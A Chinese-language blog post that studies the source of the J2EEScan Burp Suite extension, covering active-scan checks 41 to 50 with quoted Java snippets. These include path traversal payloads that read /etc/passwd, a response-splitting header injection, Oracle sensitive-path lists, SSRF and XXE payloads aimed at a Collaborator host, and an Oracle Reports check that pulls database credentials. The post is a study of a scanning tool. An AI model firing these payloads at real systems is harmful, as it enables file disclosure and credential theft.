【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(41-50)

【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(41-50)

前言

插件开发学习第10套。前置文章：

【BurpSuite】插件开发学习之Log4shell
【BurpSuite】插件开发学习之Software Vulnerability Scanner
【BurpSuite】插件开发学习之dotnet-Beautifier
【BurpSuite】插件开发学习之active-scan-plus-plus
【BurpSuite】插件开发学习之J2EEScan（上）-被动扫描
【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(1-10)
【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(11-20)
【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(21-30)
【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(31-40)

分析

【41】NextFrameworkPathTraversal

payload

    private static final String NEXT_TRAVERSAL = "/_next/../../../../../../../../../etc/passwd";

nextjs的任意文件读取

修复的话对传入的path做了判断

【42】NodeJSPathTraversal nodejs路径穿越

payload

    private static final String NODEJS_TRAVERSAL = "../../../j/../../../../etc/passwd";

修复mr：https://github.com/nodejs/node/commit/b98e8d995efb426bbdee56ce503017bdcbbc6332

【43】NodeJSRedirect

payload

    private static final String NODEJS_PATH = "///www.example.com/%2e%2e";

路由问题导致的URL跳转
match是否location即可

 if (nodejsInfo.getStatusCode() == 301
                        || nodejsInfo.getStatusCode() == 302
                        || nodejsInfo.getStatusCode() == 303) {

                    String locationHeader = HTTPParser.getResponseHeaderValue(nodejsInfo, "Location");

                    if (locationHeader != null && locationHeader.startsWith("/www.example.com")) {

【44】NodeJSResponseSplitting CVE-2016-2216

响应拆分漏洞
payload

    private static final byte[] NODEJS_INJ = "%c4%8d%c4%8aInjectionHeader:%2020%c4%8d%c4%8a".getBytes();

match是从返回包头找有没有插进去

【45】OASConfigFilesDisclosure

path

private static final List<String> OAS_PATHS = Arrays.asList(
            "/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml",
            "/servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml",
            "/xsql/lib/XSQLConfig.xml",
            "/servlet/oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml",
            "/globals.jsa",
            "/demo/ojspext/events/globals.jsa",
            // Dynamic Monitoring Services 
            "/dms/AggreSpy",
            "/soap/servlet/Spy",
            "/servlet/Spy",
            "/servlet/DMSDump",
            "/dms/DMSDump",
            // Oracle Java Process Manager 
            "/oprocmgr-status",
            "/oprocmgr-service",
            "/soap/servlet/soaprouter",
            "/fcgi-bin/echo",
            "/fcgi-bin/echo2",
            "/fcgi-bin/echo.exe",
            "/fcgi-bin/echo2.exe",
            // BC4J Runtime Parameters            
            "/webapp/wm/runtime.jsp"
            
            //TODO CVE-2002-0565
//            "/_pages/_webapp/_admin/_showpooldetails.java",
//            "/_pages/_webapp/_admin/_showjavartdetails.java",
//            "/_pages/_webapp/_jsp/",
//            "/_pages/_demo/",
//            "/_pages/_demo/_sql/_pages/",
//            "/OA_HTML/AppsLocalLogin.jsp"
    );

返回包match

    private static final List<byte[]> GREP_STRINGS = Arrays.asList(
            "SOAP configuration file".getBytes(),
            "On a PRODUCTION system".getBytes(),
            "<%".getBytes(),
            "<DMSDUMP version".getBytes(),
            "DMS Metrics".getBytes(),
            "Current Metric Values".getBytes(),
            "Process Status".getBytes(),
            "SOAP Server".getBytes(),
            "DOCUMENT_ROOT=".getBytes(),
            "BC4J Runtime Parameters".getBytes()
    );

02年的洞
可以理解为oracle一些敏感文件的泄露，感觉现在应该不太可能有了，20年了。

【46】OASSqlnetLogDisclosure

path

private static final List<String> SQLNETLOG_PATHS = Arrays.asList(
            "/sqlnet.log"
    );

match

private static final List<byte[]> GREP_STRINGS = Arrays.asList(
            "VERSION INFORMATION".getBytes()
    );

sql的一写日志泄露。

【47】OracleCGIPrintEnv

path

private static final List<String> CGIENV_PATHS = Arrays.asList(
            "/cgi-bin/printenv"
    );

match

 private static final byte[] GREP_STRINGS = "DOCUMENT_ROOT".getBytes();

同样的是敏感信息泄露。

【48】OracleEBSSSRF - CVE-2017-10246

payload

        String Oracle_SSRF_Help = String.format("/OA_HTML/help?locale=en_AE&group=per:br_prod_HR:US&topic=http://%s:80/", currentCollaboratorPayload);

是个前台的洞

【49】OracleEBSSSRFLCMServiceController - CVE-2018-3167

payload

        String oracleSSRFDoctypePayload = String.format("<!DOCTYPE root PUBLIC \"-//B/A/EN\" \"http://%s:80\">", currentCollaboratorPayload);

是一个XXE 漏洞，可以打SSRF

【50】OracleReportService

path

    private static final List<String> ORACLE_REPORT_SERVICE_PATHS = Arrays.asList(
            "/reports/rwservlet/getserverinfo",
            "/reports/rwservlet/showenv",
            "/reports/rwservlet/showjobs",
            "/reports/rwservlet/showmap"
    );

match

    private static final List<byte[]> GREP_STRINGS = Arrays.asList(
            "Successful Jobs".getBytes(),
            "Servlet Environment Variables".getBytes(),
            "Reports Server Queue Status".getBytes(),
            "Reports Servlet Key Map".getBytes()
    );

这里面的路径都是敏感信息泄露。
其中

                                if (ORACLE_REPORT_SERVICE_PATH.equalsIgnoreCase("/reports/rwservlet/showmap")) {

格外关键，将rsp保存下来单独分析。
按行读取

String[] lines = helpers.bytesToString(showMapPage).split("\n")

找到行中包含

OraInstructionText

并进行match

    private static final Pattern REPORT_SERVICE_KEY_PATTERN = Pattern.compile("OraInstructionText>([^<]+)<");

如果通过上面正则，没有找到了如下的key

private static final List<String> KEYMAPS_TO_IGNORE = Arrays.asList(
            "%ENV_NAME%",
            "barcodepaper",
            "barcodeweb",
            "breakbparam",
            "charthyperlink_ias",
            "charthyperlink_ids",
            "distributionpaper",
            "express",
            "orqa",
            "parmformjsp",
            "pdfenhancements",
            "report_defaultid",
            "report_secure",
            "run",
            "runp",
            "tutorial",
            "xmldata"
    );

则把匹配到的key拼接，然后发起请求

        String RWSERVLET_PARSEQUERY_URL = "/reports/rwservlet/parsequery?";
                        URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), RWSERVLET_PARSEQUERY_URL + key);

预期是请求得到username 和pwd

    private static final Pattern PWD_DISCLOSURE_PATTERN = Pattern.compile("userid=([^/]+)/([^@]+)@([^ \\t]+)([ \\t]|$)");

预期的rsp

05年的洞，估计也基本没有了。